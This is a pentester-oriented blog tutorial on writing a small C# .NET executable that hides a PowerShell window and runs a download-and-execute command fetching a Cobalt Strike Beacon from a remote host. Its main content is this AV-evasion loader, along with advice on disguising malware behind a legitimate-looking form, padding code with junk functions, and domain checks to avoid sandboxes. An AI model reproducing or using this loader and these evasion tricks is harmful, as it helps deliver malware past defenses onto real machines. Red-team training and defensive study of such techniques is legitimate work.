An Introduction to Writing .NET Executables for Pentesters
The issue with an exe file (also called a portable executable, aka PE, because it contains all the info necessary for it to be run by Windows) is that it generally has to be written to disk, so AV is going to check it out. Every red team tool from Metasploit to Cobalt Strike has the ability to generate an exe file which will establish a C2 channel back to the attacker's machine. While these files are slightly different every time (so different hashes) AV is extremely likely to flag them as malicious.
There are tools for wrapping these PE files in different code to make them look different and avoid detection, such as the once popular Veil-Evasion. While Veil greatly increased the options available to attackers, defensive tools have largely caught up with this type of executable wrapping.
It turns out that you don't need bleeding edge tools, extreme encryption, or 0-day exploits to evade 99% of defensive products. You just need to create something custom, something they have never seen before. This is where writing your own portable executables comes in handy. We're going to use Visual Studio to write a .NET executable which will execute a command we want.
To start, let's fire up Visual Studio and create a new project. We're going to use a "Windows Forms App (.NET Framework)" template.
We're just going to make an executable that runs silently (no windows), so we can delete the "Form1.cs" that Visual Studio made for us, as well as the contents of the Main funtion in Program.cs. If you wanted to create a more legitimate front for your malware, you could keep that form around and turn it into something useful looking.
Next, let's look at how to launch a program from our C# application. We're going to use PowerShell as a nice versatile example.
(In a future post, we'll look at how to load code directly from our C# program without starting another process)
We are going to use the System.Diagnostics.Process class to set up and start our new process. We'll set powershell.exe as our process and pass it a command to run. For this example, we'll tell PowerShell to sleep for 10 seconds so that we have a moment to observe how this all works.
static void Main()
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-c \"Start-Sleep -s 10\"";
If you run this program (Start button in the top menu or F5), you should see a PowerShell window appear for 10 seconds then close. You'll notice that the initial C# process closes as soon as it is done launching PowerShell; it does not wait for the PowerShell process to exit.
Having had a chance to watch how the PowerShell process behaves, we can now set our window to be hidden. With the ProcessStartInfo class, we can do this without having to use the "-w hidden" argument in PowerShell, something that is often flagged as suspicious.
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
We can also swap the sleep command for a PowerShell command which will download and execute a payload of our choice—in this case a Cobalt Strike Beacon. Clearly you'll need an appropriate payload hosted and listener set up for this to do any good.
process.StartInfo.Arguments = "-c \"IEX ((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\""
You can see the combined code here: https://gist.github.com/peewpw/36c16d7441585c13844066b8fd330a51
Now it's time that we actually want our exe file. If you've run the final version of your code, the exe will be in your project folder under projectname\bin\Debug\projectname.exe. If you want to avoid running your payload on your own system, you can select Build > Build Solution or hit F6 to build a new version of that exe without actually executing your program.
Let's have a look at how we did!
Not bad! 😃
And it works!
Clearly five lines of custom code isn't exactly a long term solution. I have little doubt that if other people find this method useful, the executable we just created will no longer pass every AV. The beauty of writing the executable ourselves however, is that we can customize the heart of the program and easily make significant changes as often as we want. It's simple to add extraneous functions to hide our code amongst, whether that be calculating pi or sorting some lists.
We can also look to other other .NET functions to beef up our program. For example, if we know the domain of our target system, we could check that before starting our PowerShell process in an attempt to avoid sandboxes.
Clearly we're still calling PowerShell here, so any logging or alerts related to that still apply. Ideally we don't call any programs outside of our own executable, but that's a few steps down the road.
The next big step is to include the entirety of the payload material in the executable. There's many different ways this could be done, from hosting the PowerShell code on the local machine and using the same download and execute command, to loading shell code directly into memory.
Don't worry, we'll come back to this topic soon! Until then, happy hacking!